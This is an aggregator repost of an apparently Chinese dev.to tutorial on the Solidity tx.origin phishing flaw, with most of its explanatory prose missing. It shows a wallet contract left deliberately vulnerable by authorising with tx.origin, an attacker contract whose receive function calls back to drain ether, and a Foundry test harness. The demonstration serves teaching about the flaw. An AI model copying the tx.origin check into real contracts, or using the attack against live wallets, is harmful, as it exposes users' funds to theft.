Your Web News in One Place

Help Webnuz

Referal links:

Sign up for GreenGeeks web hosting
April 11, 2022 05:03 am GMT

tx.origin


tx.originmsg.sender tx.origin

Unboxing tx.origin. Rune Token case (adrianhetman.com)



contract TxUserWallet is DSTest {    address owner;    constructor() {        owner = msg.sender;        //emit log_named_address("owner", owner);    }    function transferTo(address payable dest, uint256 amount) public payable {        emit log_named_address("tx.origin", tx.origin);        emit log_named_address("owner", owner);        require(tx.origin == owner); //**  **        dest.call{value: amount}("");    }}

transferTotx.origin
tx.origin
solidity | | (learnblockchain.cn)fallback receive

TxUserWallet transferTo receive transferTotx.origin TxUserWallet



contract TxAttackWallet is DSTest {    address payable owner;    constructor() {        owner = payable(msg.sender);    }    fallback() external payable {        emit log_named_address("fallback", msg.sender);    }    receive() external payable {        TxUserWallet(msg.sender).transferTo(            payable(this),            1 ether        );    }}


function setUp() public {        startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58), 8 ether);        alice = new TxUserWallet();  //        hoax(address(alice), 5 ether); //5        bob = new TxAttackWallet();  //        hoax(address(bob), 5 ether);  //5        emit log_named_uint("alice", address(alice).balance);        emit log_named_address("alice", address(alice));        emit log_named_address("bob", address(bob));    }function testExample() public payable {        //startHoax(address(0x9BEF5148fD530244a14830f4984f2B76BCa0dC58));        alice.transferTo(payable(bob), 1 ether); //1        emit log_named_uint("alice", address(alice).balance);        emit log_named_uint("bob", address(bob).balance);        emit log_string("testok");    }


Image description

foundry.toml

tx_origin = '0x9BEF5148fD530244a14830f4984f2B76BCa0dC58'


github

daodao2007/txohack


Original Link: https://dev.to/auok007/txorigingong-ji-shi-xian-4lm3

Share this article:    Share on Facebook
View Full Article

Dev To

An online community for sharing and discovering great ideas, having debates, and making friends

More About this Source Visit Dev To